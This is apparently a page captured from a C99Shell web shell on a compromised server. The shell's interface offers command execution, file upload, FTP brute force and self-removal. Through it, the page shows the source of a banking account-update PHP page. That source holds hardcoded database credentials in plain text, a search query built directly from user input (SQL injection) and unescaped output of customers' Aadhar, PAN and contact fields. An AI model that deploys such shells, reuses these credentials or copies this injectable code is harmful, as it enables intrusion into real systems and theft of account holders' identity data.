!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/studentlogin/   drwxr-xr-x
Free 30.76 GB of 49.93 GB (61.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     savingupdate.php (10.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<?php include('session.php'); ?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

</head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>SAVING ACCOUNT</title>


<script src="SpryAssets/SpryMenuBar.js" type="text/javascript"></script>
<link href="SpryAssets/SpryMenuBarHorizontal.css" rel="stylesheet" type="text/css" />
<style type="text/css">
a:link {
    text-decoration: none;
}
a:visited {
    text-decoration: none;
}
a:hover {
    text-decoration: none;
}
a:active {
    text-decoration: none;
}
body {
    background-color: #CCC;
}
</style>
<script language="JavaScript" type="text/javascript">
<!--

function Toggle(obj){
 var val=obj.value;
 if (!obj.m){ obj.m=''; }
 if (!obj.m.match(val)){ obj.m+=','+val+','; }
 var hide=obj.m.split(',');
 for (var zxc0=0;zxc0<hide.length;zxc0++){
  if (document.getElementById(hide[zxc0])){
   document.getElementById(hide[zxc0]).style.display='none';
  }
 }
 var show=val.split(',');
 for (var zxc1=0;zxc1<show.length;zxc1++){
  if (document.getElementById(show[zxc1])){
   document.getElementById(show[zxc1]).style.display='';
  }
 }
}

//-->
</script>
</head>
<center>
<body>
<form name="autoSumForm">
<table width="100%" border="0"  bgcolor="#FFFFFF">
  <tr>
    <td ><?php include('header.php'); ?></td>
    <td colspan="2"></td
    ></tr>
  <tr>
    <td colspan="3"> 
    
    <table width="100%" border="0">
      <tr>
        <td colspan="3" bgcolor="#CCCCCC"><?php include('menubar.php'); ?></td>
      </tr>
      <tr>
        <td width="210" bgcolor="#6699CC">Welcome <?php echo $user ?></td>
        <td width="335" bgcolor="#6699CC"><a href="logout.php">Logout</a></td>
        <td width="386" bgcolor="#6699CC"><?php echo "Today is " date("d/m/y") . "<br>";?></td>
      </tr>
    </table>
    </td>
   </tr>
   <tr>
   <td colspan="2" align="left">
 <form action="" method="get" name="form">
        Enter Account No:
          <input name="q" type="text" />
        <input type="submit" name="Submit" value="Search" />
        </form>
        </td>
        </tr>
  <tr>
    <td colspan="2"> </td> </tr>
  <tr>
    <td colspan="2">
 
 
 
 
 
 
 
 
 
    <form id="form1" name="form1" method="post" action="savingupdate_print.php" enctype="multipart/form-data">
    <?php

  
// Get the search variable from URL

  
$var = @$_GET['q'] ;
  
$trimmed trim($var); //trim whitespace from the stored variable

// rows to return
$limit=10

// check for an empty string and display a message.
if ($trimmed == "")
  {
 
  exit;
  }

// check for a search parameter
if (!isset($var))
  {
  echo 
"<p>We dont seem to have a search parameter!</p>";
  exit;
  }

mysql_connect("localhost","anshdiam_user","rb!ans838"); //(host, username, password)

//specify database ** EDIT REQUIRED HERE **
mysql_select_db("anshdiam_sarkmicr_data") or die("Unable to select database"); //select which database we're using



$field 'accountno';
// Build SQL Query  
$query "select * from dd where $field like \"$trimmed\" AND main='MAIN' 
order by 
$field"// EDIT HERE and specify your table and field names for the SQL query

$numresults=mysql_query($query);
$numrows=mysql_num_rows($numresults);

// If we have no results, offer a google search as an alternative

if ($numrows == 0)
  {
  
  echo 
"   Sorry,  $trimmed   this  Number is not found";


  }

// next determine if s has been passed to script, if not use 0
  
if (empty($s)) {
  
$s=0;
  }

// get results
  
$query .= " limit $s,$limit";
  
$result mysql_query($query) or die("Couldn't execute query");


// begin to show results set
$count $s ;

// now you can display the results returned
  
while ($rowmysql_fetch_array($result))
   {
$ac=$row[accountno];
$cname=$row[cname];
$fname=$row[fname];
$address=$row[address];
$aadhar=$row[aadharno];
$pan=$row[panno];
$phone=$row[phone];
$email=$row[email];
$qualification=$row[qualification];
$occupation=$row[occupation];
$nomineename=$row[nominee_name];
$nomineage=$row[nominee_age];
$nomineerelation=$row[nomineerelation];
$agenctcode=$row[agent_code];
$agentname=$row[agent_name];
$photos=$row[photo];
$dob=$row[dob];
  
$count++ ;
  }

$currPage = (($s/$limit) + 1);

//break before paging
  
echo "";

  
// next we need to do the links to other results
  
if ($s>=1) { // bypass PREV link if s is 0
  
$prevs=($s-$limit);
  print 
"<a href=\"$PHP_SELF?s=$prevs&q=$var\">&lt;&lt; 
  Prev 10</a>&nbsp"
;
  }

// calculate number of pages needing links
  
$pages=intval($numrows/$limit);

// $pages now contains int of pages needed unless there is a remainder from division

?>
      
</td>
</tr>
     
  
  <tr>
    <td colspan="3" bgcolor="#66CCFF">
     
     <table width="100%" border="0">
        <tr>
          <td width="105" align="left" bgcolor="#3399FF">Account No</td>
          <td align="left" bgcolor="#3399FF"><input name="accountno" type="text"   id="accountno" tabindex="1"  size="20" maxlength="20"  required="required" readonly="readonly" value=<?php echo $ac ?> /></td>
          <td align="left" bgcolor="#3399FF">Name</td>
          <td width="20" align="left" bgcolor="#3399FF"><input   name="cname" type="text" id="cname" size="30" maxlength="30"  tabindex="1"  required="required" value='<?php echo $cname ?>' "/></td>
          <td width="123" align="left" bgcolor="#66CCFF">Agent Code</td>
          <td align="left" bgcolor="#66CCFF"><input type="text" name="agent_code" id="agent_code" value="<?php echo $agenctcode ?>"  readonly="readonly"/></td>
        </tr>
        <tr>
          <td align="left" bgcolor="#3399FF">Father/Husband Name</td>
          <td colspan="3" align="left" bgcolor="#3399FF"><input  name="fname" type="text" id="fname" size="60" maxlength="80" tabindex="2"  required="required" value='<?php echo $fname ?>' "/></td>
          <td align="left" bgcolor="#66CCFF">Employee Code</td>
          <td align="left" bgcolor="#66CCFF"><input type="text" name="eecode" id="eecode"  value="<?php echo $user ?>" readonly="readonly"/></td>
        </tr>
        <tr>
          <td height="24" align="left" bgcolor="#3399FF">Address</td>
          <td colspan="3" align="left" bgcolor="#3399FF"><input  name="address" type="text"  id="address" tabindex="3" size="80" maxlength="80"   required="required" value='<?php echo $address ?>' /></td>
          <td align="left" bgcolor="#66CCFF">Aadhar No</td>
          <td align="left" bgcolor="#66CCFF"><input name="aadharno" type="text" id="aadharno" size="15" maxlength="15" value='<?php echo $aadhar ?>'/></td>
        </tr>
        <tr>
          <td height="24" align="left" bgcolor="#3399FF">Pan No</td>
          <td width="180" align="left" bgcolor="#3399FF"><input name="panno" type="text"  id="panno" tabindex="3" size="20" maxlength="20"  value='<?php echo $pan ?>'/></td>
          <td width="129" align="left" bgcolor="#3399FF">Phone</td>
          <td align="left" bgcolor="#3399FF"><input type="text" name="phone" id="phone"   tabindex="5"  required="required" 
          value='<?php echo $phone ?>' /></td>
          <td align="left" bgcolor="#66CCFF">Branch Name</td>
          <td align="left" bgcolor="#66CCFF"><input name="branchname" type="text"  id="branchname"  readonly="readonly" value="<?php echo $user ?>"    /></td>
        </tr>
        <tr>
          <td height="24" align="left" bgcolor="#3399FF">Email</td>
          <td align="left" bgcolor="#3399FF"><input name="email" type="text" id="email" tabindex="6" size="30" value='<?php echo $email ?>' /></td>
          <td align="left" bgcolor="#3399FF">Date of Birth</td>
          <td align="left" bgcolor="#3399FF"><input name="dob" type="text"  required="required" id="dob" tabindex="7" value='<?php echo $dob ?>' /></td>
          <td align="left" bgcolor="#66CCFF">Agent Name</td>
          <td align="left" bgcolor="#66CCFF"><input type="text" name="agent_name" id="agent_name"  readonly="readonly" value=<?php echo $agentname ?> /></td>
          </tr>
        <tr>
          <td align="left" bgcolor="#3399FF">Qualification</td>
          <td align="left" bgcolor="#3399FF"><input type="text" name="qualification" id="qualification"  tabindex="9"  value='<?php echo $qualification ?>' /></td>
          <td align="left" bgcolor="#3399FF">Occupation</td>
          <td align="left" bgcolor="#3399FF"><label for="textfield9">
            <input name="occupation" type="text" id="occupation"  tabindex="9" value="Farmer" />
          </label></td>
          <td align="left" bgcolor="#66CCFF">Member Code</td>
          <td width="182" height="20" align="left" bgcolor="#66CCFF"><input type="text" name="mcode" id="mcode"  readonly="readonly" tabindex="15" value=<?php echo $agenctcode ?> /></td>
        </tr>
        <tr>
          <td align="left" bgcolor="#3399FF">Nominee Name</td>
          <td align="left" bgcolor="#3399FF"><input type="text" name="nominee_name" id="nominee_name"  tabindex="12"   value='<?php echo $nomineename ?>'/></td>
          <td align="left" bgcolor="#3399FF">Nominee Age</td>
          <td align="left" bgcolor="#3399FF"><input name="nominee_age" type="text" id="nominee_age" tabindex="13" size="10" maxlength="10" value='<?php echo $nomineage ?>'/></td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
        </tr>
        <tr>
          <td align="left" bgcolor="#3399FF">Nominee Relation</td>
          <td align="left" bgcolor="#3399FF"><input type="text" name="nomineerelation" id="nomineerelation"  tabindex="14"  value='<?php echo $nomineerelation ?>'/></td>
          <td align="left" bgcolor="#3399FF">&nbsp;</td>
          <td align="left" bgcolor="#3399FF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
        </tr>
        <tr>
          <td align="left" bgcolor="#3399FF">Photo</td>
          <td rowspan="3" align="left" valign="top" bgcolor="#3399FF"><?php echo "<img width='80' height='80'  border='2' src='http://anshdiamondgroup.in/NEWBRANCH/upload/$photos'>" ?></td>
          <td rowspan="3" align="center" valign="top" bgcolor="#3399FF"></td>
          <td align="left" bgcolor="#3399FF">&nbsp;</td>
         <td align="left" bgcolor="#66CCFF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
        </tr>
        <tr>
          <td align="left" bgcolor="#3399FF">&nbsp;</td>
          <td align="left" bgcolor="#3399FF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
        </tr>
        <tr>
          <td align="left" bgcolor="#3399FF">&nbsp;</td>
          <td align="left" bgcolor="#3399FF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
          <td align="left" bgcolor="#66CCFF">&nbsp;</td>
        </tr>
        <tr>
          <td colspan="6" align="center"><input type="submit" name="ADD" id="ADD" value="UPDATE" tabindex="22" /></td>
          </tr>
      </table>
    </form>
       </td>
    </tr>
     
</table>
 </form>

</body></center>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.002 ]--